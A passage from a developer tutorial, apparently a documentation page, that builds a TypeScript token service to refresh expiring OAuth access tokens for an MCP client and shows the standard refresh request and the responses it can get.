<p>Create <code>token-service.ts</code> with everything above:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">token-service.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">interface</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StoredTokens</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  accessToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  refreshToken</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  expiresAt</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">number</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">interface</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">TokenStore</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">StoredTokens </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">save</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> tokens</span><span class="token operator">:</span><span class="token plain"> StoredTokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Returns undefined when the authorization server rejects the refresh token.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">RefreshGrant</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  refreshToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">StoredTokens </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">class</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">extends</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">constructor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">super</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">User </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">userId</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D"> needs to sign in again</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">class</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">TokenService</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> refreshing </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Map</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&lt;</span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">string</span><span class="token class-name punctuation" style="color:#5A6072;font-weight:600">,</span><span class="token class-name" style="color:#0B1633;font-weight:600"> </span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">Promise</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&lt;</span><span class="token class-name" style="color:#0B1633;font-weight:600">StoredTokens</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&gt;&gt;</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">constructor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> store</span><span class="token operator">:</span><span class="token plain"> TokenStore</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> refreshGrant</span><span class="token operator">:</span><span class="token plain"> RefreshGrant</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// Refresh a little early, so a token can't expire in flight.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> expiryMarginMs </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">30_000</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">getAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tokens </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">tokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">expiresAt </span><span class="token operator">-</span><span class="token plain"> Date</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">now</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">expiryMarginMs</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> refreshed </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">refresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> refreshed</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">refresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// If this user's token is already being refreshed, wait for that.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">let</span><span class="token plain"> pending </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshing</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">pending</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      pending </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">runRefresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">finally</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshing</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">delete</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshing</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> pending</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> pending</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">runRefresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> current </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">current</span><span class="token operator">?.</span><span class="token plain">refreshToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> next </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">refreshGrant</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">current</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">save</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="call-the-token-endpoint">Call the token endpoint<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#call-the-token-endpoint" class="hash-link" aria-label="Direct link to Call the token endpoint" title="Direct link to Call the token endpoint" translate="no">​</a></h3>
<p>The last piece is a <code>RefreshGrant</code> that asks your authorization server for new tokens. Refreshing a token is standard OAuth, so the request looks the same with any compliant authorization server.</p>
<p>Let's look at the request before the code that sends it.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-refresh-request-looks-like">What the refresh request looks like<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#what-the-refresh-request-looks-like" class="hash-link" aria-label="Direct link to What the refresh request looks like" title="Direct link to What the refresh request looks like" translate="no">​</a></h4>
<p>Your application sends a <code>POST</code> to the authorization server's token endpoint:</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">POST /oauth2/token HTTP/1.1</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Basic &lt;base64 of client_id:client_secret&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">grant_type=refresh_token&amp;refresh_token=&lt;stored-refresh-token&gt;&amp;resource=http%3A%2F%2Flocalhost%3A3000%2Fmcp</span><br></span></code></pre></div></div>
<p>In plain terms, this request says: here's who I am, here's the refresh token you gave me, and I want a new access token for the MCP server.</p>
<p>Each part has a job:</p>
<ul>
<li class="">The <code>Authorization</code> header proves which application is asking, using its client ID and secret.</li>
<li class=""><code>grant_type=refresh_token</code> says this is a refresh, not a new sign-in.</li>
<li class=""><code>refresh_token</code> is the one <code>TokenService</code> loaded from the store.</li>
<li class=""><code>resource</code> is the MCP server's identifier. The MCP specification asks clients to send it on token requests, refreshes included, so the new token is still meant for the MCP server.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-comes-back">What comes back<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#what-comes-back" class="hash-link" aria-label="Direct link to What comes back" title="Direct link to What comes back" translate="no">​</a></h4>
<p>If the refresh token is still good, the authorization server returns new tokens:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"access_token"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"&lt;new-access-token&gt;"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"refresh_token"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"&lt;new-refresh-token&gt;"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"token_type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Bearer"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"expires_in"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">3600</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p><code>expires_in</code> is the same field from <a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#where-the-tokens-live" class="">Where the tokens live</a>, so we turn it into a new <code>expiresAt</code>. The <code>refresh_token</code> may be a new one, if the server rotates refresh tokens, or missing, if it doesn't.</p>
<p>If the refresh token expired or was revoked, the server answers <code>400</code> instead:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"error"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"invalid_grant"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>That one means the user has to sign in again.</p>
